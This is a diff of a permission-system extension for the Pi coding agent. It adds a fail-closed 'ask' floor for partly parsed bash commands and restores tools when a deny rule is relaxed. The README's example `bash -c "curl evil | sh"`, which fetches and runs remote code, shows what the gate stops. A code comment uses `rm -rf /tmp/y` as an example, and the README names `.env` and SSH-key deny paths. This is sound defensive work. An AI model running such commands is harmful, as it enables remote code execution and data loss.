@gotgenes/pi-permission-system 31.0.1 → 31.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/CHANGELOG.md CHANGED
@@ -5,6 +5,33 @@ All notable changes to this project will be documented in this file.
5
5
  The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
6
6
  and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
7
7
 
8
+ ## [31.1.0](https://github.com/gotgenes/pi-packages/compare/pi-permission-system-v31.0.2...pi-permission-system-v31.1.0) (2026-09-04)
9
+
10
+
11
+ ### Features
12
+
13
+ * **pi-permission-system:** record every change to the effective tool surface in the debug log ([bf0331a](https://github.com/gotgenes/pi-packages/commit/bf0331a26ace5dcee7f6a26064af1251fecaaa41))
14
+
15
+ ### Bug Fixes
16
+
17
+ * **pi-permission-system:** restore a tool when its deny rule is relaxed mid-session ([190a25e](https://github.com/gotgenes/pi-packages/commit/190a25eccdcd5101badf6266f10142c809296983))
18
+ * **pi-permission-system:** forget a withheld tool that pi has unregistered ([404d819](https://github.com/gotgenes/pi-packages/commit/404d8194f9763ee8a228bd36176c5adbb944464c)), closes [#873](https://github.com/gotgenes/pi-packages/issues/873)
19
+
20
+ ### Documentation
21
+
22
+ * **pi-permission-system:** document the tool-surface baseline ([0997065](https://github.com/gotgenes/pi-packages/commit/09970655c60bfe14c5a38b986301c480ed19f316))
23
+
24
+ ## [31.0.2](https://github.com/gotgenes/pi-packages/compare/pi-permission-system-v31.0.1...pi-permission-system-v31.0.2) (2026-09-04)
25
+
26
+
27
+ ### Bug Fixes
28
+
29
+ * **pi-permission-system:** prompt on a bash command whose parse could not be resolved ([2665c21](https://github.com/gotgenes/pi-packages/commit/2665c21f483bdaf57cb54826f8e19a1a8da493f3)), closes [#840](https://github.com/gotgenes/pi-packages/issues/840)
30
+
31
+ ### Documentation
32
+
33
+ * **pi-permission-system:** record the fail-closed floor for an unresolved parse ([33fd390](https://github.com/gotgenes/pi-packages/commit/33fd390106bcae9ed6df324f36b3cf7e01f5e5a7)), closes [#840](https://github.com/gotgenes/pi-packages/issues/840)
34
+
8
35
  ## [31.0.1](https://github.com/gotgenes/pi-packages/compare/pi-permission-system-v31.0.0...pi-permission-system-v31.0.1) (2026-09-03)
9
36
 
10
37
 
package/README.md CHANGED
@@ -19,7 +19,7 @@ Permission enforcement extension for the [Pi](https://pi.mariozechner.at/) codin
19
19
  - **Gates MCP and skill access** at server, tool, and skill-name granularity
20
20
  - **Protects sensitive file patterns** — cross-cutting `path` rules deny `.env`, `~/.ssh/*`, etc. across all tools and bash at once, matching both the path as referenced and its symlink-resolved form so a deny cannot be evaded through a symlink alias
21
21
  - **Guards external paths** — prompts before file tools or bash commands reach outside `cwd`
22
- - **Fails closed** — an internal gate error blocks the tool (with a `gate_error` review-log entry and a matching `permissions:decision` broadcast), and an unparseable bash command — or an indirection wrapper that hides the gated command (`bash -c`/`eval`, `sudo`, `env`, `xargs`, `find -exec`, …) — prompts (`ask`) rather than passing silently, unless the wrapped command is a pure reader whose direction is provable whatever it is fed (`xargs grep -l foo`)
22
+ - **Fails closed** — an internal gate error blocks the tool (with a `gate_error` review-log entry and a matching `permissions:decision` broadcast), and a bash command the parser could not resolve, in whole or in part — or an indirection wrapper that hides the gated command (`bash -c`/`eval`, `sudo`, `env`, `xargs`, `find -exec`, …) — prompts (`ask`) rather than passing silently, unless the wrapped command is a pure reader whose direction is provable whatever it is fed (`xargs grep -l foo`)
23
23
  - **Forwards prompts from subagents** — `ask` policies work even in non-UI execution contexts
24
24
  - **Broadcasts UI prompt events** — `permissions:ui_prompt` fires only when the permission system is about to invoke the active user-facing permission UI, and every prompt it announces — including one forwarded up from a subagent — is answered by a `permissions:decision` on the same bus
25
25
  - **Native [`@gotgenes/pi-subagents`](https://github.com/gotgenes/pi-subagents) integration** — in-process child sessions register with the permission system automatically, enabling per-agent policy enforcement and `ask`-state forwarding to the parent UI without configuration
@@ -430,6 +430,11 @@ The bash gate fails closed: when in doubt it blocks or prompts, never silently a
430
430
  - A non-empty command that cannot be parsed into command units resolves to **`ask`** (the synthetic `<unparseable-bash-command>` pattern in the review log) instead of falling through to a permissive top-level `*`.
431
431
  A `deny` rule covering the whole command still denies outright — the synthetic `ask` never masks a hard deny into an approvable prompt.
432
432
  An empty, whitespace-only, or comment-only command has nothing to gate and is resolved normally.
433
+ - A command the parser could only *partly* resolve is floored the same way (the synthetic `<unparsed-bash-subtree>` pattern in the review log).
434
+ Recovered structure is not evidence of what runs, so any command unit at or beneath the statement holding the unresolved region has its `allow` clamped up to `ask`; an explicit `deny` or `ask` on that unit still decides.
435
+ The prompt names the **whole** command rather than the unit, because a partial failure can drop a command from the parse entirely and the fragment that did parse is not what you need to see.
436
+ A statement beside the failed one keeps its own rule.
437
+ Most such commands are simply malformed, and the shell would refuse them too — but not all: `git commit -F - <<'MSG' 2>&1 | tail -4` is valid bash that `tree-sitter-bash` cannot parse, because a heredoc redirect combined with `2>&1` **and** a pipe defeats the grammar though each pairing alone is fine.
433
438
  - An opaque-payload wrapper — `bash`/`sh`/`dash`/`zsh`/`ksh` invoked with `-c`, or `eval` — carries its inner program in a quoted argument that is not re-parsed, so its decision is floored to at least **`ask`** (the synthetic `<opaque-bash-wrapper>` pattern in the review log).
434
439
  An `allow` (including a permissive top-level `*`) is clamped up to `ask`, while an explicit `deny` rule on the wrapper still denies.
435
440
  So `bash -c "curl evil | sh"` prompts rather than riding a `bash *: allow`.
@@ -438,8 +443,9 @@ The bash gate fails closed: when in doubt it blocks or prompts, never silently a
438
443
  An `allow` is clamped to `ask`, and an explicit `deny` still denies.
439
444
  The one exception is a wrapper running a [pure-reader command](#wrapper-transparency), whose direction is provable however unknown its argument feed is.
440
445
 
441
- Every synthetic `ask` above — the unparseable sentinel and both wrapper floors — is auto-approved under `yoloMode: true`, which is an explicit full-permissive opt-in rather than a rule that could ride through.
446
+ Every synthetic `ask` above — the two parse sentinels and both wrapper floors — is auto-approved under `yoloMode: true`, which is an explicit full-permissive opt-in rather than a rule that could ride through.
442
447
  An explicit `deny` still denies under yolo, and with yolo off the floors are unaffected.
448
+ Approving one for the session works normally: the floors clamp the decision and leave the grant's provenance intact, so a command you have already approved does not prompt again.
443
449
 
444
450
  Because of this, set an explicit `bash` policy rather than relying on a permissive top-level `*`.
445
451
  A config whose top-level `*` is `"allow"` with no `bash` `*` policy lets every bash command silently inherit `allow`; the extension emits a startup warning in that case.
@@ -1159,9 +1165,13 @@ Additional behaviors:
1159
1165
 
1160
1166
  - Unknown/unregistered tools are blocked before permission checks (prevents bypass attempts)
1161
1167
  - Tool filtering is restrict-only: the active set starts from pi's already-active tools (`pi.getActiveTools()`) and only ever has denied tools removed — the permission system never activates a tool pi left off by default (e.g. `find`, `grep`, `ls`)
1168
+ - Policy is applied to the tool surface pi has activated over the session, not to the previous turn's filtered result, so removing a `deny` rule restores the tool it had hidden without restarting pi.
1169
+ A tool that stops being active for any other reason (another extension deactivating it, pi unregistering it) is not restored.
1170
+ - On the turn a tool is restored, it is callable immediately but its `Available tools:` line reappears one turn later: pi builds the prompt an extension receives before the extension runs, so the line is only regenerated once the restored tool is already active
1162
1171
  - A tool is removed only when every value under its surface resolves to `deny`; a surface with any reachable `allow` or `ask` pattern stays available (see [Tool Surfaces](#tool-surfaces))
1163
1172
  - The `Available tools:` system prompt section is narrowed to match the filtered active tool set: denied tools' lines are dropped, the rest are kept, and the section is removed entirely only when no tool is allowed
1164
- - The narrowed prompt is recomputed and returned on every turn but is byte-stable for a stable policy/agent, so the provider's prompt cache (tools + system prefix) is preserved rather than rewritten each turn
1173
+ - The narrowed prompt is recomputed and returned on every turn but is byte-stable for a stable policy/agent, so the provider's prompt cache (tools + system prefix) is preserved rather than rewritten each turn.
1174
+ A policy change is an intentional cache transition, as a mid-session agent switch already is.
1165
1175
  - Extension-provided tools like `task`, `mcp`, and third-party tools are handled by exact registered name
1166
1176
  - Generic extension-tool approval prompts include a bounded input preview; built-in file tools use concise human-readable summaries
1167
1177
  - Permission review logs include `toolInputPreview` values for non-bash/non-MCP tool calls, with sensitive-keyed values masked and every value bounded by `reviewLogFieldMaxWidth` (see [Log file sensitivity](#log-file-sensitivity))
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@gotgenes/pi-permission-system",
3
- "version": "31.0.1",
3
+ "version": "31.1.0",
4
4
  "description": "Permission enforcement extension for the Pi coding agent.",
5
5
  "type": "module",
6
6
  "exports": {
@@ -2,7 +2,10 @@ import {
2
2
  EXECUTION_HOST_TYPES,
3
3
  forEachExecutionIn,
4
4
  } from "#src/access-intent/bash/nested-execution";
5
- import type { TSNode } from "#src/access-intent/bash/parser";
5
+ import {
6
+ parseUnresolvedWithin,
7
+ type TSNode,
8
+ } from "#src/access-intent/bash/parser";
6
9
  import { redirectMayWriteFile } from "#src/access-intent/bash/redirect-analysis";
7
10
  import {
8
11
  type CommandWord,
@@ -53,6 +56,13 @@ export interface BashCommand {
53
56
  * and an established {@link executedUnit}.
54
57
  */
55
58
  readonly floorExemption?: FloorExemption;
59
+ /**
60
+ * Set when this unit was emitted from, or beneath, a statement holding a
61
+ * region tree-sitter could not resolve. Its decision is floored to at least
62
+ * `ask`, because the recovered structure is not evidence of what runs — ADR
63
+ * 0013 §10's fail-closed base case (#840).
64
+ */
65
+ readonly parseUnresolved?: true;
56
66
  }
57
67
 
58
68
  /**
@@ -74,10 +84,18 @@ interface UnitScope {
74
84
  * withholds the floor exemption from any wrapper unit beneath it.
75
85
  */
76
86
  readonly writesViaRedirect: boolean;
87
+ /**
88
+ * True when the enclosing statement holds a region tree-sitter could not
89
+ * resolve, so every unit beneath it is floored rather than trusted (#840).
90
+ */
91
+ readonly parseUnresolved: boolean;
77
92
  }
78
93
 
79
- /** A top-level command in the current shell, writing no file. */
80
- const TOP_LEVEL_SCOPE: UnitScope = { writesViaRedirect: false };
94
+ /** A top-level command in the current shell, writing no file, fully parsed. */
95
+ const TOP_LEVEL_SCOPE: UnitScope = {
96
+ writesViaRedirect: false,
97
+ parseUnresolved: false,
98
+ };
81
99
 
82
100
  // ── Node-type vocabulary ─────────────────────────────────────────────────────
83
101
 
@@ -184,6 +202,11 @@ const STATEMENT_TYPES = new Set([
184
202
  * The enclosing command/statement is always still emitted whole, so adding the
185
203
  * nested units can only ever produce a more-restrictive decision, never weaker.
186
204
  *
205
+ * A unit emitted from, or beneath, a statement holding a region tree-sitter
206
+ * could not resolve is marked {@link BashCommand.parseUnresolved}, so the
207
+ * verdict fold can floor it rather than match its recovered text against the
208
+ * bash rules (#840).
209
+ *
187
210
  * Each emitted command unit has any leading `variable_assignment` prefix
188
211
  * stripped (so an env-var prefix cannot defeat a command-pattern rule), and a
189
212
  * wrapper unit (`bash -c`/`eval`, or an indirection wrapper such as `sudo`) is
@@ -197,7 +220,7 @@ export function collectCommands(node: TSNode): BashCommand[] {
197
220
 
198
221
  function collectCommandsInto(
199
222
  node: TSNode,
200
- scope: UnitScope,
223
+ inherited: UnitScope,
201
224
  out: BashCommand[],
202
225
  ): void {
203
226
  // Anonymous tokens (operators `&&`/`;`/`|`, delimiters `$(`/`)`/`` ` ``/`(`)
@@ -205,6 +228,8 @@ function collectCommandsInto(
205
228
  if (!node.isNamed) return;
206
229
  if (COMMAND_ENUM_SKIP.has(node.type)) return;
207
230
 
231
+ const scope = unresolvedScope(node, inherited);
232
+
208
233
  if (node.type === "command") {
209
234
  out.push(makeCommandUnit(node, scope));
210
235
  // A command's text already contains any substitution; descend its subtree
@@ -265,6 +290,29 @@ function collectCommandsInto(
265
290
  collectHostedCommands(node, out);
266
291
  }
267
292
 
293
+ /**
294
+ * The scope `node`'s own subtree establishes, marking it unresolved when
295
+ * tree-sitter could not parse a region within it (#840).
296
+ *
297
+ * The three pure containers are deliberately excluded. `program`, `list`, and
298
+ * `pipeline` report an error whenever *anything* anywhere beneath them failed,
299
+ * so asking there would mark every unit of the command and make the answer
300
+ * per-program rather than per-statement. Excluded, `rm -rf /tmp/y` in
301
+ * `echo hi > out.txt <> rw.txt; rm -rf /tmp/y` keeps its own rule, while every
302
+ * unit under the failed statement is floored.
303
+ *
304
+ * Over-marking is the fail-closed direction — the flag can only floor an
305
+ * `allow` up to `ask`, never weaken a decision — which is what makes marking a
306
+ * whole statement for a failure buried in one of its redirects acceptable.
307
+ */
308
+ function unresolvedScope(node: TSNode, scope: UnitScope): UnitScope {
309
+ if (scope.parseUnresolved) return scope;
310
+ if (COMMAND_ENUM_DESCEND.has(node.type)) return scope;
311
+ return parseUnresolvedWithin(node)
312
+ ? { ...scope, parseUnresolved: true }
313
+ : scope;
314
+ }
315
+
268
316
  /** The wrapper facts a `command` node's words establish about its unit. */
269
317
  interface WrapperFacts {
270
318
  readonly wrapperKind?: WrapperKind;
@@ -284,7 +332,11 @@ function makeUnit(
284
332
  const flagged = wrapperKind ? { ...scoped, wrapperKind } : scoped;
285
333
  const named =
286
334
  executedUnit === undefined ? flagged : { ...flagged, executedUnit };
287
- return floorExemption === undefined ? named : { ...named, floorExemption };
335
+ const exempted =
336
+ floorExemption === undefined ? named : { ...named, floorExemption };
337
+ return scope.parseUnresolved
338
+ ? { ...exempted, parseUnresolved: true }
339
+ : exempted;
288
340
  }
289
341
 
290
342
  /**
@@ -423,10 +475,13 @@ function collectHostedCommands(node: TSNode, out: BashCommand[]): void {
423
475
  forEachExecutionIn(node, (contextNode, context) => {
424
476
  // A nested execution starts fresh: an enclosing statement's redirect is
425
477
  // that statement's, not the substitution's, exactly as #807 attributes a
426
- // nested command's path tokens to its own command.
478
+ // nested command's path tokens to its own command. The parse question
479
+ // starts fresh for the same reason and costs nothing either way — each
480
+ // statement inside re-asks it of itself, and the enclosing statement's own
481
+ // units carry the mark regardless, so the verdict is unchanged (#840).
427
482
  descendCommandChildren(
428
483
  contextNode,
429
- { context, writesViaRedirect: false },
484
+ { context, writesViaRedirect: false, parseUnresolved: false },
430
485
  out,
431
486
  );
432
487
  });
@@ -5,10 +5,10 @@ import { memoizeAsyncWithRetry } from "#src/async-cache";
5
5
  * Minimal subset of web-tree-sitter's SyntaxNode used by the AST walker.
6
6
  * Defined locally so callers do not need to import web-tree-sitter types.
7
7
  *
8
- * The last two members are the parse's own health, which every other member
9
- * describes a *successful* parse's structure. They exist for
10
- * {@link parseUnresolvedAt} and are read nowhere else — see its doc comment for
11
- * why that boundary matters.
8
+ * The last two members are the parse's own health, where every other member
9
+ * describes a *successful* parse's structure. They are read only by this
10
+ * module's two `parseUnresolved*` predicates — see their doc comments for why
11
+ * that boundary matters.
12
12
  */
13
13
  export interface TSNode {
14
14
  readonly type: string;
@@ -51,7 +51,7 @@ export interface TSNode {
51
51
  * belongs to no `<>` either. Over-refusing costs a prompt; under-refusing hands
52
52
  * a write to a read grant.
53
53
  *
54
- * This is the one place {@link TSNode.hasError} and
54
+ * This module is the one place {@link TSNode.hasError} and
55
55
  * {@link TSNode.previousSibling} are read. Keeping the lateral navigation here
56
56
  * is deliberate: recovering-parser behavior is a fact about tree-sitter rather
57
57
  * than about any construct, so a caller asks this question instead of
@@ -61,6 +61,27 @@ export function parseUnresolvedAt(node: TSNode): boolean {
61
61
  return node.hasError || (node.previousSibling?.hasError ?? false);
62
62
  }
63
63
 
64
+ /**
65
+ * Whether tree-sitter failed to resolve the syntax anywhere within `node`.
66
+ *
67
+ * The subtree-only question, and the one a walker descending statements asks:
68
+ * a statement holding an unresolved region is one whose recovered shape is
69
+ * invented rather than observed, so nothing beneath it is evidence of what
70
+ * runs. The failure can sit well below the statement that exposes it —
71
+ * `git commit -F - <<'MSG' 2>&1 | tail -4` strands its `ERROR` under
72
+ * `heredoc_redirect → file_redirect`, where no command node sees it.
73
+ *
74
+ * {@link parseUnresolvedAt} answers the redirect-shaped question instead,
75
+ * widening to the immediate predecessor because error recovery strands a
76
+ * discarded operator ahead of the redirect it belonged to. That widening is a
77
+ * fact about redirects, not about statements: a statement whose *predecessor*
78
+ * failed is not itself unparsed, and borrowing the wider predicate here would
79
+ * condemn every statement following a failed one.
80
+ */
81
+ export function parseUnresolvedWithin(node: TSNode): boolean {
82
+ return node.hasError;
83
+ }
84
+
64
85
  /**
65
86
  * Minimal subset of web-tree-sitter's Parser used by this module.
66
87
  */
@@ -10,8 +10,9 @@ import type { PermissionCheckResult } from "#src/types";
10
10
  * command-pattern units and routed through the same shared orchestrator the
11
11
  * enforcement gate uses (`resolveBashCommandCheck`) — so a chained/nested
12
12
  * command returns the most-restrictive decision (`deny > ask > allow`) and
13
- * inherits the opaque-wrapper floor (#481) and the fail-closed
14
- * `<unparseable-bash-command>` sentinel (#452), at parity with the gate.
13
+ * inherits the opaque-wrapper floor (#481) and both fail-closed parse
14
+ * sentinels — `<unparseable-bash-command>` (#452) and `<unparsed-bash-subtree>`
15
+ * (#840) — at parity with the gate.
15
16
  *
16
17
  * In the pre-warm window (`parseBashCommandsSync` returns `null`) it falls back
17
18
  * to the pre-#309 whole-string match, so the advisory answer is never *weaker*
@@ -5,9 +5,11 @@ import type {
5
5
  import type { TurnPreparation } from "#src/handlers/session-turn-prep";
6
6
  import type { PermissionResolver } from "#src/permission-resolver";
7
7
  import type { PermissionSession } from "#src/permission-session";
8
+ import type { DebugLogger } from "#src/session-logger";
8
9
  import { resolveSkillPromptEntries } from "#src/skill-prompt-sanitizer";
9
10
  import { sanitizeAvailableToolsSection } from "#src/system-prompt-sanitizer";
10
11
  import { getToolNameFromValue, type ToolRegistry } from "#src/tool-registry";
12
+ import type { ToolSurfaceObservation } from "#src/tool-surface-baseline";
11
13
 
12
14
  /** Minimal subset of BeforeAgentStartEvent used by this handler. */
13
15
  interface BeforeAgentStartPayload {
@@ -42,7 +44,11 @@ export function shouldExposeTool(
42
44
  * session state
43
45
  * - `session` — encapsulates all mutable session state and lifecycle operations
44
46
  * - `resolver` — owns permission-query surface: `isToolFullyDenied`, skill check
45
- * - `toolRegistry` — Pi tool API subset (getActive + setActive)
47
+ * - `toolRegistry` — Pi tool API subset (getAll + getActive + setActive)
48
+ * - `logger` — records each change to the effective tool surface
49
+ *
50
+ * The active set is recomputed from the session's pre-filter tool surface
51
+ * every turn, so relaxing a rule restores the tool it had withheld (#873).
46
52
  */
47
53
  export class AgentPrepHandler {
48
54
  constructor(
@@ -50,6 +56,7 @@ export class AgentPrepHandler {
50
56
  private readonly session: PermissionSession,
51
57
  private readonly resolver: PermissionResolver,
52
58
  private readonly toolRegistry: ToolRegistry,
59
+ private readonly logger: DebugLogger,
53
60
  ) {}
54
61
 
55
62
  // eslint-disable-next-line @typescript-eslint/require-await
@@ -60,24 +67,23 @@ export class AgentPrepHandler {
60
67
  this.turnPrep.prepare(ctx);
61
68
 
62
69
  const agentName = this.session.resolveAgentName(ctx, event.systemPrompt);
63
- const activeTools = this.toolRegistry.getActive();
64
- const allowedTools: string[] = [];
65
-
66
- for (const tool of activeTools) {
67
- const toolName = getToolNameFromValue(tool);
68
- if (!toolName) {
69
- continue;
70
- }
71
- if (
70
+ const surface = this.session.resolveExposedTools(
71
+ this.observeToolSurface(),
72
+ (toolName) =>
72
73
  shouldExposeTool(toolName, agentName, (t, a) =>
73
74
  this.resolver.isToolFullyDenied(t, a),
74
- )
75
- ) {
76
- allowedTools.push(toolName);
77
- }
78
- }
75
+ ),
76
+ );
77
+ const allowedTools = [...surface.exposed];
79
78
 
80
79
  this.toolRegistry.setActive(allowedTools);
80
+ if (surface.changed) {
81
+ this.logger.debug("tool_surface.changed", {
82
+ exposed: surface.exposed,
83
+ withheld: surface.withheld,
84
+ restored: surface.restored,
85
+ });
86
+ }
81
87
 
82
88
  const toolPromptResult = sanitizeAvailableToolsSection(
83
89
  event.systemPrompt,
@@ -94,4 +100,22 @@ export class AgentPrepHandler {
94
100
  ? { systemPrompt: skillPromptResult.prompt }
95
101
  : {};
96
102
  }
103
+
104
+ private observeToolSurface(): ToolSurfaceObservation {
105
+ return {
106
+ active: toolNamesOf(this.toolRegistry.getActive()),
107
+ registered: new Set(toolNamesOf(this.toolRegistry.getAll())),
108
+ };
109
+ }
110
+ }
111
+
112
+ function toolNamesOf(tools: readonly unknown[]): string[] {
113
+ const names: string[] = [];
114
+ for (const tool of tools) {
115
+ const toolName = getToolNameFromValue(tool);
116
+ if (toolName) {
117
+ names.push(toolName);
118
+ }
119
+ }
120
+ return names;
97
121
  }
@@ -40,6 +40,12 @@ import type { PermissionCheckResult } from "#src/types";
40
40
  * explicit `deny` covering it denies outright rather than being masked into an
41
41
  * approvable prompt (#712).
42
42
  *
43
+ * A *partial* parse failure is the other half of that clause: the units the
44
+ * recovery produced are enumerated normally, and any one the enumerator marked
45
+ * {@link BashCommand.parseUnresolved} has its `allow` floored to a synthetic
46
+ * `ask` naming the whole command (`<unparsed-bash-subtree>`, #840), because
47
+ * recovered structure is not evidence of what runs.
48
+ *
43
49
  * Pure and synchronous: the (async, tree-sitter) parse happens once in the
44
50
  * handler, which passes the decomposed `commands` here.
45
51
  */
@@ -52,6 +58,12 @@ const WRAPPER_SENTINEL: Record<WrapperKind, string> = {
52
58
  indirection: "<indirection-bash-wrapper>",
53
59
  };
54
60
 
61
+ /**
62
+ * The synthetic `matchedPattern` recorded when a unit the parse could not
63
+ * resolve has its `allow` floored to `ask` (ADR 0013 §10, #840).
64
+ */
65
+ const UNPARSED_SUBTREE_SENTINEL = "<unparsed-bash-subtree>";
66
+
55
67
  export function resolveBashCommandCheck(
56
68
  command: string,
57
69
  commands: BashCommand[],
@@ -76,25 +88,75 @@ export function resolveBashCommandCheck(
76
88
  };
77
89
  }
78
90
 
79
- const results = commands.map((cmd) => {
80
- const base = resolveOnBashSurface(cmd.text, agentName, resolver);
81
- const floored =
82
- cmd.wrapperKind && base.state === "allow"
83
- ? resolveWrapperUnit(cmd, cmd.wrapperKind, base, agentName, resolver)
84
- : base;
85
- const result = cmd.context
86
- ? { ...floored, commandContext: cmd.context }
87
- : floored;
88
- return cmd.executedUnit === undefined
89
- ? result
90
- : { ...result, executedUnit: cmd.executedUnit };
91
- });
91
+ const results = commands.map((cmd) =>
92
+ resolveCommandUnit(cmd, command, agentName, resolver),
93
+ );
92
94
  return (
93
95
  pickMostRestrictive(results) ??
94
96
  resolveOnBashSurface(command, agentName, resolver)
95
97
  );
96
98
  }
97
99
 
100
+ /**
101
+ * Resolve one command unit of the chain: its own `bash`-surface rule, floored
102
+ * where the enumerator established a reason to floor it, then tagged with the
103
+ * facts the prompt and the session-approval suggestion read off the winner.
104
+ */
105
+ function resolveCommandUnit(
106
+ cmd: BashCommand,
107
+ command: string,
108
+ agentName: string | undefined,
109
+ resolver: ScopedPermissionResolver,
110
+ ): PermissionCheckResult {
111
+ const base = resolveOnBashSurface(cmd.text, agentName, resolver);
112
+ const floored =
113
+ cmd.wrapperKind && base.state === "allow"
114
+ ? resolveWrapperUnit(cmd, cmd.wrapperKind, base, agentName, resolver)
115
+ : base;
116
+ const unparsed = floorUnparsedUnit(cmd, command, floored);
117
+ const contextual = cmd.context
118
+ ? { ...unparsed, commandContext: cmd.context }
119
+ : unparsed;
120
+ return cmd.executedUnit === undefined
121
+ ? contextual
122
+ : { ...contextual, executedUnit: cmd.executedUnit };
123
+ }
124
+
125
+ /**
126
+ * Floor a unit the parse could not resolve, so a subtree the fold did not
127
+ * understand cannot ride a permissive rule (ADR 0013 §10, #840).
128
+ *
129
+ * Three properties carry the safety argument.
130
+ *
131
+ * The result names the **whole** command, not the unit: the reason for the ask
132
+ * is that part of the command was not understood, and a partial parse can drop
133
+ * a command from enumeration entirely, so naming the fragment that did parse
134
+ * withholds exactly what the user needs to judge it. `command` is also the
135
+ * session-approval pattern, and a fragment there would grant more than the
136
+ * prompt showed.
137
+ *
138
+ * Only an `allow` is floored, so an explicit `deny` or `ask` on the unit
139
+ * decides instead — and a wrapper unit already floored to `ask` keeps its own,
140
+ * more specific sentinel.
141
+ *
142
+ * The result is built by spreading `resolved`, so a `source: "session"` grant
143
+ * survives to `GateRunner`'s session fast path, which tests the source before
144
+ * the state. A grant the user gave for this exact command still holds.
145
+ */
146
+ function floorUnparsedUnit(
147
+ cmd: BashCommand,
148
+ command: string,
149
+ resolved: PermissionCheckResult,
150
+ ): PermissionCheckResult {
151
+ if (!cmd.parseUnresolved || resolved.state !== "allow") return resolved;
152
+ return {
153
+ ...resolved,
154
+ state: "ask",
155
+ command,
156
+ matchedPattern: UNPARSED_SUBTREE_SENTINEL,
157
+ };
158
+ }
159
+
98
160
  /**
99
161
  * Resolve a wrapper unit whose own text resolved to `allow`.
100
162
  *
@@ -159,10 +159,11 @@ export function buildDecisionEvent(
159
159
  * yolo is primarily recorded authority: `rewriteAsksToYolo` turns every `ask`
160
160
  * rule into an `allow` tagged `origin: "yolo"` at composition (#526), and the
161
161
  * first arm recognizes that grant. The second arm covers an `ask` synthesized
162
- * *after* resolution — the bash wrapper floor (#481, #490) and the fail-closed
163
- * `<unparseable-bash-command>` sentinel (#452) — which the ruleset rewrite
164
- * cannot reach because the floor is a property of a parsed command unit, not of
165
- * a pattern (#712). The synthetic `matchedPattern` is preserved so the review
162
+ * *after* resolution — the bash wrapper floor (#481, #490) and the two
163
+ * fail-closed parse sentinels, `<unparseable-bash-command>` (#452) and
164
+ * `<unparsed-bash-subtree>` (#840) which the ruleset rewrite cannot reach
165
+ * because the floor is a property of a parsed command unit, not of a pattern
166
+ * (#712). The synthetic `matchedPattern` is preserved so the review
166
167
  * log still shows why the ask was raised, while `origin: "yolo"` records why it
167
168
  * was granted.
168
169
  *
package/src/index.ts CHANGED
@@ -318,6 +318,7 @@ export default function piPermissionSystemExtension(pi: ExtensionAPI): void {
318
318
  session,
319
319
  resolver,
320
320
  toolRegistry,
321
+ logger,
321
322
  );
322
323
 
323
324
  const gateRunner = new GateRunner(
@@ -20,6 +20,11 @@ import {
20
20
  resolveToolPreviewLimits,
21
21
  type ToolPreviewFormatterOptions,
22
22
  } from "./tool-preview-formatter";
23
+ import {
24
+ ToolSurfaceBaseline,
25
+ type ToolSurfaceObservation,
26
+ type ToolSurfaceResolution,
27
+ } from "./tool-surface-baseline";
23
28
 
24
29
  /**
25
30
  * Encapsulates all mutable session state and exposes operations instead of
@@ -40,6 +45,7 @@ export class PermissionSession implements ToolCallGateInputs {
40
45
  private skillEntries: SkillPromptEntry[] = [];
41
46
  private knownAgentName: string | null = null;
42
47
  private pathNormalizer: PathNormalizer;
48
+ private readonly toolSurfaceBaseline = new ToolSurfaceBaseline();
43
49
 
44
50
  constructor(
45
51
  private readonly paths: ExtensionPaths,
@@ -108,6 +114,7 @@ export class PermissionSession implements ToolCallGateInputs {
108
114
  projectTrusted ? ctx.cwd : undefined,
109
115
  );
110
116
  this.skillEntries = [];
117
+ this.toolSurfaceBaseline.reset();
111
118
  this.activate(ctx);
112
119
  }
113
120
 
@@ -118,6 +125,7 @@ export class PermissionSession implements ToolCallGateInputs {
118
125
  shutdown(): void {
119
126
  this.sessionRules.clear();
120
127
  this.skillEntries = [];
128
+ this.toolSurfaceBaseline.reset();
121
129
  this.deactivate();
122
130
  }
123
131
 
@@ -134,6 +142,23 @@ export class PermissionSession implements ToolCallGateInputs {
134
142
  projectTrusted ? this.context?.cwd : undefined,
135
143
  );
136
144
  this.skillEntries = [];
145
+ // The tool-surface baseline deliberately survives a reload: a reload is
146
+ // when a relaxed policy arrives, and reseeding from the already-filtered
147
+ // active set would strand the tool it just un-denied (#873).
148
+ }
149
+
150
+ // ── Tool surface ───────────────────────────────────────────────────────
151
+
152
+ /**
153
+ * Answer which tools the agent may see this turn, applying `isExposed` to
154
+ * the session's pre-filter tool surface rather than to the previous turn's
155
+ * filtered result.
156
+ */
157
+ resolveExposedTools(
158
+ observation: ToolSurfaceObservation,
159
+ isExposed: (toolName: string) => boolean,
160
+ ): ToolSurfaceResolution {
161
+ return this.toolSurfaceBaseline.resolveExposed(observation, isExposed);
137
162
  }
138
163
 
139
164
  // ── Skill entries ──────────────────────────────────────────────────────
@@ -18,13 +18,19 @@ export interface ReviewLogger {
18
18
  }
19
19
 
20
20
  /**
21
- * Logging seam for consumers that write both debug and review entries.
22
- * Injected into `ConfigStore`, `ParentAuthorizer`, and `ForwardedRequestServer`.
21
+ * Narrowest logging seam consumers that only write debug-log entries.
22
+ * Injected into `AgentPrepHandler`.
23
23
  */
24
- export interface DebugReviewLogger extends ReviewLogger {
24
+ export interface DebugLogger {
25
25
  debug(event: string, details?: Record<string, unknown>): void;
26
26
  }
27
27
 
28
+ /**
29
+ * Logging seam for consumers that write both debug and review entries.
30
+ * Injected into `ConfigStore`, `ParentAuthorizer`, and `ForwardedRequestServer`.
31
+ */
32
+ export interface DebugReviewLogger extends ReviewLogger, DebugLogger {}
33
+
28
34
  /**
29
35
  * Unified logging + notification surface for handler deps.
30
36
  *
@@ -0,0 +1,101 @@
1
+ /** What a turn observed about pi's tool surface. */
2
+ export interface ToolSurfaceObservation {
3
+ /** Names pi reports active right now (`pi.getActiveTools()`). */
4
+ readonly active: readonly string[];
5
+ /** Names pi currently has registered (`pi.getAllTools()`). */
6
+ readonly registered: ReadonlySet<string>;
7
+ }
8
+
9
+ /** The effective tool surface for one turn, and what changed to produce it. */
10
+ export interface ToolSurfaceResolution {
11
+ /** Names to hand to `setActive`, in baseline order. */
12
+ readonly exposed: readonly string[];
13
+ /** Baseline members the current policy withholds. */
14
+ readonly withheld: readonly string[];
15
+ /** Names withheld on an earlier turn that the current policy exposes again. */
16
+ readonly restored: readonly string[];
17
+ /** Whether the withheld set differs from the previous turn's. */
18
+ readonly changed: boolean;
19
+ }
20
+
21
